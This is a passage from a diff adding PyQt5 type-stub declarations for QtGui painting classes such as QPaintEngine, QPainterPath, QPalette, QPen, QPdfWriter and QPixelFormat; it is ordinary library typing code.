+ def begin(self, a0: QPaintDevice) -> bool: ... + def device(self) -> QPaintDevice: ... + def __exit__(self, type: typing.Any, value: typing.Any, traceback: typing.Any) -> None: ... + def __enter__(self) -> typing.Any: ... + + +class QTextItem(sip.simplewrapper): + + class RenderFlag(int): + RightToLeft = ... # type: QTextItem.RenderFlag + Overline = ... # type: QTextItem.RenderFlag + Underline = ... # type: QTextItem.RenderFlag + StrikeOut = ... # type: QTextItem.RenderFlag + + class RenderFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QTextItem.RenderFlags', 'QTextItem.RenderFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextItem.RenderFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QTextItem.RenderFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextItem') -> None: ... + + def font(self) -> QFont: ... + def text(self) -> str: ... + def renderFlags(self) -> 'QTextItem.RenderFlags': ... + def width(self) -> float: ... + def ascent(self) -> float: ... + def descent(self) -> float: ... + + +class QPaintEngine(sip.simplewrapper): + + class Type(int): + X11 = ... # type: QPaintEngine.Type + Windows = ... # type: QPaintEngine.Type + QuickDraw = ... # type: QPaintEngine.Type + CoreGraphics = ... # type: QPaintEngine.Type + MacPrinter = ... # type: QPaintEngine.Type + QWindowSystem = ... # type: QPaintEngine.Type + PostScript = ... # type: QPaintEngine.Type + OpenGL = ... # type: QPaintEngine.Type + Picture = ... # type: QPaintEngine.Type + SVG = ... # type: QPaintEngine.Type + Raster = ... # type: QPaintEngine.Type + Direct3D = ... # type: QPaintEngine.Type + Pdf = ... # type: QPaintEngine.Type + OpenVG = ... # type: QPaintEngine.Type + OpenGL2 = ... # type: QPaintEngine.Type + PaintBuffer = ... # type: QPaintEngine.Type + Blitter = ... # type: QPaintEngine.Type + Direct2D = ... # type: QPaintEngine.Type + User = ... # type: QPaintEngine.Type + MaxUser = ... # type: QPaintEngine.Type + + class PolygonDrawMode(int): + OddEvenMode = ... # type: QPaintEngine.PolygonDrawMode + WindingMode = ... # type: QPaintEngine.PolygonDrawMode + ConvexMode = ... # type: QPaintEngine.PolygonDrawMode + PolylineMode = ... # type: QPaintEngine.PolygonDrawMode + + class DirtyFlag(int): + DirtyPen = ... # type: QPaintEngine.DirtyFlag + DirtyBrush = ... # type: QPaintEngine.DirtyFlag + DirtyBrushOrigin = ... # type: QPaintEngine.DirtyFlag + DirtyFont = ... # type: QPaintEngine.DirtyFlag + DirtyBackground = ... # type: QPaintEngine.DirtyFlag + DirtyBackgroundMode = ... # type: QPaintEngine.DirtyFlag + DirtyTransform = ... # type: QPaintEngine.DirtyFlag + DirtyClipRegion = ... # type: QPaintEngine.DirtyFlag + DirtyClipPath = ... # type: QPaintEngine.DirtyFlag + DirtyHints = ... # type: QPaintEngine.DirtyFlag + DirtyCompositionMode = ... # type: QPaintEngine.DirtyFlag + DirtyClipEnabled = ... # type: QPaintEngine.DirtyFlag + DirtyOpacity = ... # type: QPaintEngine.DirtyFlag + AllDirty = ... # type: QPaintEngine.DirtyFlag + + class PaintEngineFeature(int): + PrimitiveTransform = ... # type: QPaintEngine.PaintEngineFeature + PatternTransform = ... # type: QPaintEngine.PaintEngineFeature + PixmapTransform = ... # type: QPaintEngine.PaintEngineFeature + PatternBrush = ... # type: QPaintEngine.PaintEngineFeature + LinearGradientFill = ... # type: QPaintEngine.PaintEngineFeature + RadialGradientFill = ... # type: QPaintEngine.PaintEngineFeature + ConicalGradientFill = ... # type: QPaintEngine.PaintEngineFeature + AlphaBlend = ... # type: QPaintEngine.PaintEngineFeature + PorterDuff = ... # type: QPaintEngine.PaintEngineFeature + PainterPaths = ... # type: QPaintEngine.PaintEngineFeature + Antialiasing = ... # type: QPaintEngine.PaintEngineFeature + BrushStroke = ... # type: QPaintEngine.PaintEngineFeature + ConstantOpacity = ... # type: QPaintEngine.PaintEngineFeature + MaskedBrush = ... # type: QPaintEngine.PaintEngineFeature + PaintOutsidePaintEvent = ... # type: QPaintEngine.PaintEngineFeature + PerspectiveTransform = ... # type: QPaintEngine.PaintEngineFeature + BlendModes = ... # type: QPaintEngine.PaintEngineFeature + ObjectBoundingModeGradients = ... # type: QPaintEngine.PaintEngineFeature + RasterOpModes = ... # type: QPaintEngine.PaintEngineFeature + AllFeatures = ... # type: QPaintEngine.PaintEngineFeature + + class PaintEngineFeatures(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QPaintEngine.PaintEngineFeatures', 'QPaintEngine.PaintEngineFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QPaintEngine.PaintEngineFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QPaintEngine.PaintEngineFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class DirtyFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QPaintEngine.DirtyFlags', 'QPaintEngine.DirtyFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QPaintEngine.DirtyFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QPaintEngine.DirtyFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, features: typing.Union['QPaintEngine.PaintEngineFeatures', 'QPaintEngine.PaintEngineFeature'] = ...) -> None: ... + + def hasFeature(self, feature: typing.Union['QPaintEngine.PaintEngineFeatures', 'QPaintEngine.PaintEngineFeature']) -> bool: ... + def painter(self) -> QPainter: ... + def type(self) -> 'QPaintEngine.Type': ... + def paintDevice(self) -> QPaintDevice: ... + def setPaintDevice(self, device: QPaintDevice) -> None: ... + def drawImage(self, r: QtCore.QRectF, pm: QImage, sr: QtCore.QRectF, flags: typing.Union[QtCore.Qt.ImageConversionFlags, QtCore.Qt.ImageConversionFlag] = ...) -> None: ... + def drawTiledPixmap(self, r: QtCore.QRectF, pixmap: QPixmap, s: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def drawTextItem(self, p: typing.Union[QtCore.QPointF, QtCore.QPoint], textItem: QTextItem) -> None: ... + def drawPixmap(self, r: QtCore.QRectF, pm: QPixmap, sr: QtCore.QRectF) -> None: ... + @typing.overload + def drawPolygon(self, points: typing.Union[QtCore.QPointF, QtCore.QPoint], mode: 'QPaintEngine.PolygonDrawMode') -> None: ... + @typing.overload + def drawPolygon(self, points: QtCore.QPoint, mode: 'QPaintEngine.PolygonDrawMode') -> None: ... + @typing.overload + def drawPoints(self, points: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def drawPoints(self, points: QtCore.QPoint) -> None: ... + def drawPath(self, path: 'QPainterPath') -> None: ... + @typing.overload + def drawEllipse(self, r: QtCore.QRectF) -> None: ... + @typing.overload + def drawEllipse(self, r: QtCore.QRect) -> None: ... + @typing.overload + def drawLines(self, lines: QtCore.QLine) -> None: ... + @typing.overload + def drawLines(self, lines: QtCore.QLineF) -> None: ... + @typing.overload + def drawRects(self, rects: QtCore.QRect) -> None: ... + @typing.overload + def drawRects(self, rects: QtCore.QRectF) -> None: ... + def updateState(self, state: 'QPaintEngineState') -> None: ... + def end(self) -> bool: ... + def begin(self, pdev: QPaintDevice) -> bool: ... + def setActive(self, newState: bool) -> None: ... + def isActive(self) -> bool: ... + + +class QPaintEngineState(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QPaintEngineState') -> None: ... + + def penNeedsResolving(self) -> bool: ... + def brushNeedsResolving(self) -> bool: ... + def transform(self) -> 'QTransform': ... + def painter(self) -> QPainter: ... + def compositionMode(self) -> QPainter.CompositionMode: ... + def renderHints(self) -> QPainter.RenderHints: ... + def isClipEnabled(self) -> bool: ... + def clipPath(self) -> 'QPainterPath': ... + def clipRegion(self) -> 'QRegion': ... + def clipOperation(self) -> QtCore.Qt.ClipOperation: ... + def opacity(self) -> float: ... + def font(self) -> QFont: ... + def backgroundMode(self) -> QtCore.Qt.BGMode: ... + def backgroundBrush(self) -> QBrush: ... + def brushOrigin(self) -> QtCore.QPointF: ... + def brush(self) -> QBrush: ... + def pen(self) -> 'QPen': ... + def state(self) -> QPaintEngine.DirtyFlags: ... + + +class QPainterPath(sip.simplewrapper): + + class ElementType(int): + MoveToElement = ... # type: QPainterPath.ElementType + LineToElement = ... # type: QPainterPath.ElementType + CurveToElement = ... # type: QPainterPath.ElementType + CurveToDataElement = ... # type: QPainterPath.ElementType + + class Element(sip.simplewrapper): + + type = ... # type: 'QPainterPath.ElementType' + x = ... # type: float + y = ... # type: float + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QPainterPath.Element') -> None: ... + + def isCurveTo(self) -> bool: ... + def isLineTo(self) -> bool: ... + def isMoveTo(self) -> bool: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, startPoint: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def __init__(self, other: 'QPainterPath') -> None: ... + + def capacity(self) -> int: ... + def reserve(self, size: int) -> None: ... + def clear(self) -> None: ... + def swap(self, other: 'QPainterPath') -> None: ... + @typing.overload + def translated(self, dx: float, dy: float) -> 'QPainterPath': ... + @typing.overload + def translated(self, offset: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> 'QPainterPath': ... + @typing.overload + def translate(self, dx: float, dy: float) -> None: ... + @typing.overload + def translate(self, offset: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def simplified(self) -> 'QPainterPath': ... + @typing.overload + def addRoundedRect(self, rect: QtCore.QRectF, xRadius: float, yRadius: float, mode: QtCore.Qt.SizeMode = ...) -> None: ... + @typing.overload + def addRoundedRect(self, x: float, y: float, w: float, h: float, xRadius: float, yRadius: float, mode: QtCore.Qt.SizeMode = ...) -> None: ... + def subtracted(self, r: 'QPainterPath') -> 'QPainterPath': ... + def intersected(self, r: 'QPainterPath') -> 'QPainterPath': ... + def united(self, r: 'QPainterPath') -> 'QPainterPath': ... + def slopeAtPercent(self, t: float) -> float: ... + def angleAtPercent(self, t: float) -> float: ... + def pointAtPercent(self, t: float) -> QtCore.QPointF: ... + def percentAtLength(self, t: float) -> float: ... + def length(self) -> float: ... + def setElementPositionAt(self, i: int, x: float, y: float) -> None: ... + def elementAt(self, i: int) -> 'QPainterPath.Element': ... + def elementCount(self) -> int: ... + def isEmpty(self) -> bool: ... + @typing.overload + def arcMoveTo(self, rect: QtCore.QRectF, angle: float) -> None: ... + @typing.overload + def arcMoveTo(self, x: float, y: float, w: float, h: float, angle: float) -> None: ... + @typing.overload + def toFillPolygon(self) -> 'QPolygonF': ... + @typing.overload + def toFillPolygon(self, matrix: 'QTransform') -> 'QPolygonF': ... + @typing.overload + def toFillPolygons(self) -> typing.List['QPolygonF']: ... + @typing.overload + def toFillPolygons(self, matrix: 'QTransform') -> typing.List['QPolygonF']: ... + @typing.overload + def toSubpathPolygons(self) -> typing.List['QPolygonF']: ... + @typing.overload + def toSubpathPolygons(self, matrix: 'QTransform') -> typing.List['QPolygonF']: ... + def toReversed(self) -> 'QPainterPath': ... + def setFillRule(self, fillRule: QtCore.Qt.FillRule) -> None: ... + def fillRule(self) -> QtCore.Qt.FillRule: ... + def controlPointRect(self) -> QtCore.QRectF: ... + def boundingRect(self) -> QtCore.QRectF: ... + @typing.overload + def intersects(self, rect: QtCore.QRectF) -> bool: ... + @typing.overload + def intersects(self, p: 'QPainterPath') -> bool: ... + @typing.overload + def contains(self, pt: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> bool: ... + @typing.overload + def contains(self, rect: QtCore.QRectF) -> bool: ... + @typing.overload + def contains(self, p: 'QPainterPath') -> bool: ... + def connectPath(self, path: 'QPainterPath') -> None: ... + def addRegion(self, region: 'QRegion') -> None: ... + def addPath(self, path: 'QPainterPath') -> None: ... + @typing.overload + def addText(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint], f: QFont, text: str) -> None: ... + @typing.overload + def addText(self, x: float, y: float, f: QFont, text: str) -> None: ... + def addPolygon(self, polygon: 'QPolygonF') -> None: ... + @typing.overload + def addEllipse(self, rect: QtCore.QRectF) -> None: ... + @typing.overload + def addEllipse(self, x: float, y: float, w: float, h: float) -> None: ... + @typing.overload + def addEllipse(self, center: typing.Union[QtCore.QPointF, QtCore.QPoint], rx: float, ry: float) -> None: ... + @typing.overload + def addRect(self, rect: QtCore.QRectF) -> None: ... + @typing.overload + def addRect(self, x: float, y: float, w: float, h: float) -> None: ... + def currentPosition(self) -> QtCore.QPointF: ... + @typing.overload + def quadTo(self, ctrlPt: typing.Union[QtCore.QPointF, QtCore.QPoint], endPt: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def quadTo(self, ctrlPtx: float, ctrlPty: float, endPtx: float, endPty: float) -> None: ... + @typing.overload + def cubicTo(self, ctrlPt1: typing.Union[QtCore.QPointF, QtCore.QPoint], ctrlPt2: typing.Union[QtCore.QPointF, QtCore.QPoint], endPt: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def cubicTo(self, ctrlPt1x: float, ctrlPt1y: float, ctrlPt2x: float, ctrlPt2y: float, endPtx: float, endPty: float) -> None: ... + @typing.overload + def arcTo(self, rect: QtCore.QRectF, startAngle: float, arcLength: float) -> None: ... + @typing.overload + def arcTo(self, x: float, y: float, w: float, h: float, startAngle: float, arcLenght: float) -> None: ... + @typing.overload + def lineTo(self, p: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def lineTo(self, x: float, y: float) -> None: ... + @typing.overload + def moveTo(self, p: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def moveTo(self, x: float, y: float) -> None: ... + def closeSubpath(self) -> None: ... + + +class QPainterPathStroker(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, pen: typing.Union['QPen', QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + + def dashOffset(self) -> float: ... + def setDashOffset(self, offset: float) -> None: ... + def createStroke(self, path: QPainterPath) -> QPainterPath: ... + def dashPattern(self) -> typing.List[float]: ... + @typing.overload + def setDashPattern(self, a0: QtCore.Qt.PenStyle) -> None: ... + @typing.overload + def setDashPattern(self, dashPattern: typing.Iterable[float]) -> None: ... + def curveThreshold(self) -> float: ... + def setCurveThreshold(self, threshold: float) -> None: ... + def miterLimit(self) -> float: ... + def setMiterLimit(self, length: float) -> None: ... + def joinStyle(self) -> QtCore.Qt.PenJoinStyle: ... + def setJoinStyle(self, style: QtCore.Qt.PenJoinStyle) -> None: ... + def capStyle(self) -> QtCore.Qt.PenCapStyle: ... + def setCapStyle(self, style: QtCore.Qt.PenCapStyle) -> None: ... + def width(self) -> float: ... + def setWidth(self, width: float) -> None: ... + + +class QPalette(sip.simplewrapper): + + class ColorRole(int): + WindowText = ... # type: QPalette.ColorRole + Foreground = ... # type: QPalette.ColorRole + Button = ... # type: QPalette.ColorRole + Light = ... # type: QPalette.ColorRole + Midlight = ... # type: QPalette.ColorRole + Dark = ... # type: QPalette.ColorRole + Mid = ... # type: QPalette.ColorRole + Text = ... # type: QPalette.ColorRole + BrightText = ... # type: QPalette.ColorRole + ButtonText = ... # type: QPalette.ColorRole + Base = ... # type: QPalette.ColorRole + Window = ... # type: QPalette.ColorRole + Background = ... # type: QPalette.ColorRole + Shadow = ... # type: QPalette.ColorRole + Highlight = ... # type: QPalette.ColorRole + HighlightedText = ... # type: QPalette.ColorRole + Link = ... # type: QPalette.ColorRole + LinkVisited = ... # type: QPalette.ColorRole + AlternateBase = ... # type: QPalette.ColorRole + ToolTipBase = ... # type: QPalette.ColorRole + ToolTipText = ... # type: QPalette.ColorRole + PlaceholderText = ... # type: QPalette.ColorRole + NoRole = ... # type: QPalette.ColorRole + NColorRoles = ... # type: QPalette.ColorRole + + class ColorGroup(int): + Active = ... # type: QPalette.ColorGroup + Disabled = ... # type: QPalette.ColorGroup + Inactive = ... # type: QPalette.ColorGroup + NColorGroups = ... # type: QPalette.ColorGroup + Current = ... # type: QPalette.ColorGroup + All = ... # type: QPalette.ColorGroup + Normal = ... # type: QPalette.ColorGroup + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, button: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def __init__(self, button: QtCore.Qt.GlobalColor) -> None: ... + @typing.overload + def __init__(self, button: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient], background: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def __init__(self, foreground: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], button: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], light: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], dark: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], mid: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], text: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], bright_text: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], base: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], background: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def __init__(self, palette: 'QPalette') -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + + def swap(self, other: 'QPalette') -> None: ... + def cacheKey(self) -> int: ... + def isBrushSet(self, cg: 'QPalette.ColorGroup', cr: 'QPalette.ColorRole') -> bool: ... + @typing.overload + def setColor(self, acg: 'QPalette.ColorGroup', acr: 'QPalette.ColorRole', acolor: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def setColor(self, acr: 'QPalette.ColorRole', acolor: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def resolve(self, a0: 'QPalette') -> 'QPalette': ... + @typing.overload + def resolve(self) -> int: ... + @typing.overload + def resolve(self, mask: int) -> None: ... + def isCopyOf(self, p: 'QPalette') -> bool: ... + def placeholderText(self) -> QBrush: ... + def toolTipText(self) -> QBrush: ... + def toolTipBase(self) -> QBrush: ... + def linkVisited(self) -> QBrush: ... + def link(self) -> QBrush: ... + def highlightedText(self) -> QBrush: ... + def highlight(self) -> QBrush: ... + def shadow(self) -> QBrush: ... + def buttonText(self) -> QBrush: ... + def brightText(self) -> QBrush: ... + def midlight(self) -> QBrush: ... + def window(self) -> QBrush: ... + def alternateBase(self) -> QBrush: ... + def base(self) -> QBrush: ... + def text(self) -> QBrush: ... + def mid(self) -> QBrush: ... + def dark(self) -> QBrush: ... + def light(self) -> QBrush: ... + def button(self) -> QBrush: ... + def windowText(self) -> QBrush: ... + def isEqual(self, cr1: 'QPalette.ColorGroup', cr2: 'QPalette.ColorGroup') -> bool: ... + def setColorGroup(self, cr: 'QPalette.ColorGroup', foreground: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], button: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], light: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], dark: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], mid: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], text: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], bright_text: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], base: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], background: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def setBrush(self, cg: 'QPalette.ColorGroup', cr: 'QPalette.ColorRole', brush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def setBrush(self, acr: 'QPalette.ColorRole', abrush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def brush(self, cg: 'QPalette.ColorGroup', cr: 'QPalette.ColorRole') -> QBrush: ... + @typing.overload + def brush(self, cr: 'QPalette.ColorRole') -> QBrush: ... + @typing.overload + def color(self, cg: 'QPalette.ColorGroup', cr: 'QPalette.ColorRole') -> QColor: ... + @typing.overload + def color(self, cr: 'QPalette.ColorRole') -> QColor: ... + def setCurrentColorGroup(self, cg: 'QPalette.ColorGroup') -> None: ... + def currentColorGroup(self) -> 'QPalette.ColorGroup': ... + + +class QPdfWriter(QtCore.QObject, QPagedPaintDevice): + + @typing.overload + def __init__(self, filename: str) -> None: ... + @typing.overload + def __init__(self, device: QtCore.QIODevice) -> None: ... + + def addFileAttachment(self, fileName: str, data: typing.Union[QtCore.QByteArray, bytes, bytearray], mimeType: str = ...) -> None: ... + def documentXmpMetadata(self) -> QtCore.QByteArray: ... + def setDocumentXmpMetadata(self, xmpMetadata: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def pdfVersion(self) -> QPagedPaintDevice.PdfVersion: ... + def setPdfVersion(self, version: QPagedPaintDevice.PdfVersion) -> None: ... + def resolution(self) -> int: ... + def setResolution(self, resolution: int) -> None: ... + def metric(self, id: QPaintDevice.PaintDeviceMetric) -> int: ... + def paintEngine(self) -> QPaintEngine: ... + def setMargins(self, m: QPagedPaintDevice.Margins) -> None: ... + def setPageSizeMM(self, size: QtCore.QSizeF) -> None: ... + @typing.overload + def setPageSize(self, size: QPagedPaintDevice.PageSize) -> None: ... + @typing.overload + def setPageSize(self, pageSize: QPageSize) -> bool: ... + def newPage(self) -> bool: ... + def setCreator(self, creator: str) -> None: ... + def creator(self) -> str: ... + def setTitle(self, title: str) -> None: ... + def title(self) -> str: ... + + +class QPen(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: QtCore.Qt.PenStyle) -> None: ... + @typing.overload + def __init__(self, brush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient], width: float, style: QtCore.Qt.PenStyle = ..., cap: QtCore.Qt.PenCapStyle = ..., join: QtCore.Qt.PenJoinStyle = ...) -> None: ... + @typing.overload + def __init__(self, pen: typing.Union['QPen', QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + + def swap(self, other: 'QPen') -> None: ... + def setCosmetic(self, cosmetic: bool) -> None: ... + def isCosmetic(self) -> bool: ... + def setDashOffset(self, doffset: float) -> None: ... + def dashOffset(self) -> float: ... + def setMiterLimit(self, limit: float) -> None: ... + def miterLimit(self) -> float: ... + def setDashPattern(self, pattern: typing.Iterable[float]) -> None: ... + def dashPattern(self) -> typing.List[float]: ... + def setJoinStyle(self, pcs: QtCore.Qt.PenJoinStyle) -> None: ... + def joinStyle(self) -> QtCore.Qt.PenJoinStyle: ... + def setCapStyle(self, pcs: QtCore.Qt.PenCapStyle) -> None: ... + def capStyle(self) -> QtCore.Qt.PenCapStyle: ... + def isSolid(self) -> bool: ... + def setBrush(self, brush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def brush(self) -> QBrush: ... + def setColor(self, color: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def color(self) -> QColor: ... + def setWidth(self, width: int) -> None: ... + def width(self) -> int: ... + def setWidthF(self, width: float) -> None: ... + def widthF(self) -> float: ... + def setStyle(self, a0: QtCore.Qt.PenStyle) -> None: ... + def style(self) -> QtCore.Qt.PenStyle: ... + + +class QPicture(QPaintDevice): + + @typing.overload + def __init__(self, formatVersion: int = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QPicture') -> None: ... + + def swap(self, other: 'QPicture') -> None: ... + def metric(self, m: QPaintDevice.PaintDeviceMetric) -> int: ... + def paintEngine(self) -> QPaintEngine: ... + def isDetached(self) -> bool: ... + def detach(self) -> None: ... + def setBoundingRect(self, r: QtCore.QRect) -> None: ... + def boundingRect(self) -> QtCore.QRect: ... + @typing.overload + def save(self, dev: QtCore.QIODevice, format: typing.Optional[str] = ...) -> bool: ... + @typing.overload + def save(self, fileName: str, format: typing.Optional[str] = ...) -> bool: ... + @typing.overload + def load(self, dev: QtCore.QIODevice, format: typing.Optional[str] = ...) -> bool: ... + @typing.overload + def load(self, fileName: str, format: typing.Optional[str] = ...) -> bool: ... + def play(self, p: QPainter) -> bool: ... + def setData(self, data: bytes) -> None: ... + def data(self) -> bytes: ... + def size(self) -> int: ... + def devType(self) -> int: ... + def isNull(self) -> bool: ... + + +class QPictureIO(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, ioDevice: QtCore.QIODevice, format: str) -> None: ... + @typing.overload + def __init__(self, fileName: str, format: str) -> None: ... + + @staticmethod + def defineIOHandler(format: str, header: str, flags: str, read_picture: typing.Optional[typing.Callable[['QPictureIO'], None]], write_picture: typing.Optional[typing.Callable[['QPictureIO'], None]]) -> None: ... + @staticmethod + def outputFormats() -> typing.List[QtCore.QByteArray]: ... + @staticmethod + def inputFormats() -> typing.List[QtCore.QByteArray]: ... + @typing.overload + @staticmethod + def pictureFormat(fileName: str) -> QtCore.QByteArray: ... + @typing.overload + @staticmethod + def pictureFormat(a0: QtCore.QIODevice) -> QtCore.QByteArray: ... + def write(self) -> bool: ... + def read(self) -> bool: ... + def setGamma(self, a0: float) -> None: ... + def setParameters(self, a0: str) -> None: ... + def setDescription(self, a0: str) -> None: ... + def setQuality(self, a0: int) -> None: ... + def setFileName(self, a0: str) -> None: ... + def setIODevice(self, a0: QtCore.QIODevice) -> None: ... + def setFormat(self, a0: str) -> None: ... + def setStatus(self, a0: int) -> None: ... + def setPicture(self, a0: QPicture) -> None: ... + def gamma(self) -> float: ... + def parameters(self) -> str: ... + def description(self) -> str: ... + def quality(self) -> int: ... + def fileName(self) -> str: ... + def ioDevice(self) -> QtCore.QIODevice: ... + def format(self) -> str: ... + def status(self) -> int: ... + def picture(self) -> QPicture: ... + + +class QPixelFormat(sip.simplewrapper): + + class ByteOrder(int): + LittleEndian = ... # type: QPixelFormat.ByteOrder + BigEndian = ... # type: QPixelFormat.ByteOrder + CurrentSystemEndian = ... # type: QPixelFormat.ByteOrder + + class YUVLayout(int): + YUV444 = ... # type: QPixelFormat.YUVLayout + YUV422 = ... # type: QPixelFormat.YUVLayout + YUV411 = ... # type: QPixelFormat.YUVLayout + YUV420P = ... # type: QPixelFormat.YUVLayout + YUV420SP = ... # type: QPixelFormat.YUVLayout + YV12 = ... # type: QPixelFormat.YUVLayout + UYVY = ... # type: QPixelFormat.YUVLayout + YUYV = ... # type: QPixelFormat.YUVLayout + NV12 = ... # type: QPixelFormat.YUVLayout + NV21 = ... # type: QPixelFormat.YUVLayout + IMC1 = ... # type: QPixelFormat.YUVLayout + IMC2 = ... # type: QPixelFormat.YUVLayout + IMC3 = ... # type: QPixelFormat.YUVLayout + IMC4 = ... # type: QPixelFormat.YUVLayout + Y8 = ... # type: QPixelFormat.YUVLayout + Y16 = ... # type: QPixelFormat.YUVLayout + + class TypeInterpretation(int): + UnsignedInteger = ... # type: QPixelFormat.TypeInterpretation + UnsignedShort = ... # type: QPixelFormat.TypeInterpretation + UnsignedByte = ... # type: QPixelFormat.TypeInterpretation + FloatingPoint = ... # type: QPixelFormat.TypeInterpretation + + class AlphaPremultiplied(int): + NotPremultiplied = ... # type: QPixelFormat.AlphaPremultiplied + Premultiplied = ... # type: QPixelFormat.AlphaPremultiplied + + class AlphaPosition(int): + AtBeginning = ... # type: QPixelFormat.AlphaPosition + AtEnd = ... # type: QPixelFormat.AlphaPosition + + class AlphaUsage(int): + UsesAlpha = ... # type: QPixelFormat.AlphaUsage + IgnoresAlpha = ... # type: QPixelFormat.AlphaUsage + + class ColorModel(int): + RGB = ... # type: QPixelFormat.ColorModel + BGR = ... # type: QPixelFormat.ColorModel + Indexed = ... # type: QPixelFormat.ColorModel + Grayscale = ... # type: QPixelFormat.ColorModel + CMYK = ... # type: QPixelFormat.ColorModel + HSL = ... # type: QPixelFormat.ColorModel + HSV = ... # type: QPixelFormat.ColorModel + YUV = ... # type: QPixelFormat.ColorModel + Alpha = ... # type: QPixelFormat.ColorModel + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, mdl: 'QPixelFormat.ColorModel', firstSize: int, secondSize: int, thirdSize: int, fourthSize: int, fifthSize: int, alfa: int, usage: 'QPixelFormat.AlphaUsage', position: 'QPixelFormat.AlphaPosition', premult: 'QPixelFormat.AlphaPremultiplied', typeInterp: 'QPixelFormat.TypeInterpretation', byteOrder: 'QPixelFormat.ByteOrder' = ..., subEnum: int = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QPixelFormat') -> None: ... + + def subEnum(self) -> int: ... + def yuvLayout(self) -> 'QPixelFormat.YUVLayout': ... + def byteOrder(self) -> 'QPixelFormat.ByteOrder': ... + def typeInterpretation(self) -> 'QPixelFormat.TypeInterpretation': ... + def premultiplied(self) -> 'QPixelFormat.AlphaPremultiplied': ... + def alphaPosition(self) -> 'QPixelFormat.AlphaPosition': ... + def alphaUsage(self) -> 'QPixelFormat.AlphaUsage': ... + def bitsPerPixel(self) -> int: ... + def alphaSize(self) -> int: ... + def brightnessSize(self) -> int: ... + def lightnessSize(self) -> int: ... + def saturationSize(self) -> 